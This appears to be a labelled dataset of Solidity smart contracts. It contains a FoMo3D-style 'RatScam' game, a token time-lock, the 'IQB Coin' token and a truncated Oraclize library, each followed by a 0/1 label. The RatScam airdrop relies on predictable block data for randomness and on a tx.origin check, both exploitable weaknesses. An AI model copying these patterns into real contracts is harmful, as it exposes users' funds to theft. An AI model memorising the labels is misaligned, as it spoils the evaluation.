uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularRatScam is RSEvents {} contract RatScam is modularRatScam { using SafeMath for *; using NameFilter for string; using RSKeysCalc for uint256; RatInterfaceForForwarder constant private RatKingCorp = RatInterfaceForForwarder(0x7099eA5286AA066b5e6194ffebEe691332502d8a); RatBookInterface constant private RatBook = RatBookInterface(0xc9bbdf8cb30fdb0a6a40abecc267ccaa7e222dbe); string constant public name = "RatScam Round #1"; string constant public symbol = "RS1"; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => RSdatasets.Player) public plyr_; mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; RSdatasets.Round public round_; uint256 public fees_ = 60; uint256 public potSplit_ = 45; constructor() public { } modifier isActivated() { require(activated_ == true, "its not ready yet"); _; } modifier isHuman() { require(msg.sender == tx.origin); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "too little money"); require(_eth <= 100000000000000000000000, "too much money"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { RSdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_.end && round_.ended == false && round_.plyr != 0) { RSdatasets.EventReturns memory _eventData_; round_.ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _now = now; if (_now < round_.end) if (_now > round_.strt + rndGap_) return( (round_.end).sub(_now) ); else return( (round_.strt + rndGap_).sub(_now)); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { if (now > round_.end && round_.ended == false && round_.plyr != 0) { if (round_.plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID) private view returns(uint256) { return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256) { return ( round_.keys, round_.end, round_.strt, round_.pot, round_.plyr, plyr_[round_.plyr].addr, plyr_[round_.plyr].name, airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)), plyr_[_pID].aff, plyrRnds_[_pID].eth ); } function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) { core(_pID, msg.value, _affID, _eventData_); } else { if (_now > round_.end && round_.ended == false) { round_.ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_) private { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_pID, _eth, _affID, _eventData_); } else if (_now > round_.end && round_.ended == false) { round_.ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } } function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000) { uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_.eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys); if (round_.plyr != _pID) round_.plyr = _pID; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys); plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth); round_.keys = _keys.add(round_.keys); round_.eth = _eth.add(round_.eth); bool DistributeGenShare; if (_affID != _pID && plyr_[_affID].name != '') { DistributeGenShare = false; } else{ DistributeGenShare = true; } _eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_); _eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_, DistributeGenShare); endTx(_pID, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID) private view returns(uint256) { return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask)); } function calcKeysReceived(uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) return ( (round_.eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _now = now; if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) return ( (round_.keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(RatBook), "only RatBook can call this function"); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(RatBook), "only RatBook can call this function"); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = RatBook.getPlayerID(msg.sender); bytes32 _name = RatBook.getPlayerName(_pID); uint256 _laff = RatBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(RSdatasets.EventReturns memory _eventData_) private returns (RSdatasets.EventReturns) { uint256 _winPID = round_.plyr; uint256 _pot = round_.pot + airDropPot_; uint256 _win = (_pot.mul(45)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_)) / 100; uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys); uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _com = _com.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()")))) { _gen = _gen.add(_com); _com = 0; } round_.mask = _ppt.add(round_.mask); _eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = 0; return(_eventData_); } function updateGenVault(uint256 _pID) private { uint256 _earnings = calcUnMaskedEarnings(_pID); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask); } } function updateTimer(uint256 _keys) private { uint256 _now = now; uint256 _newTime; if (_now > round_.end && round_.plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end); if (_newTime < (rndMax_).add(_now)) round_.end = _newTime; else round_.end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_) private returns(RSdatasets.EventReturns) { uint256 _com = _eth * 5 / 100; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now); } else { } if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()")))) { } return(_eventData_); } function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_, bool dgs) private returns(RSdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_)) / 100; if (dgs){ _gen = _gen.add( (_eth.mul(10)) / 100); } uint256 _air = (_eth / 20); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(20) / 100); uint256 _dust = updateMasks(_pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_.pot = _pot.add(_dust).add(round_.pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys); round_.mask = _ppt.add(round_.mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask); return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit RSEvents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( (msg.sender == 0xF4c6BB681800Ffb96Bc046F56af9f06Ab5774156 || msg.sender == 0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285), "only owner can activate" ); require(activated_ == false, "ratscam already activated"); activated_ = true; round_.strt = now - rndGap_; round_.end = now + rndInit_; } } library RSdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; } struct Round { uint256 plyr; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; } } library RSKeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface RatInterfaceForForwarder { function deposit() external payable returns(bool); } interface RatBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30499200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x28967570200506d40cA38FA1cFad3D7689eCD7dD; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.8; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract IQB is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = '1.0'; function IQB() { balances[msg.sender] = 18000000000000000; totalSupply = 18000000000000000; name = 'IQB Coin'; decimals = 8; symbol = 'IQB'; } }
1
pragma solidity 0.4.25; pragma solidity >=0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal pure { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { let bufptr := mload(buf) let buflen := mload(bufptr) dest := add(add(bufptr, buflen), 32) mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { let bufptr := mload(buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) mstore(bufptr, add(buflen, 1)) } } function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { let bufptr := mload(buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) | 26)); buf.appendInt(value, 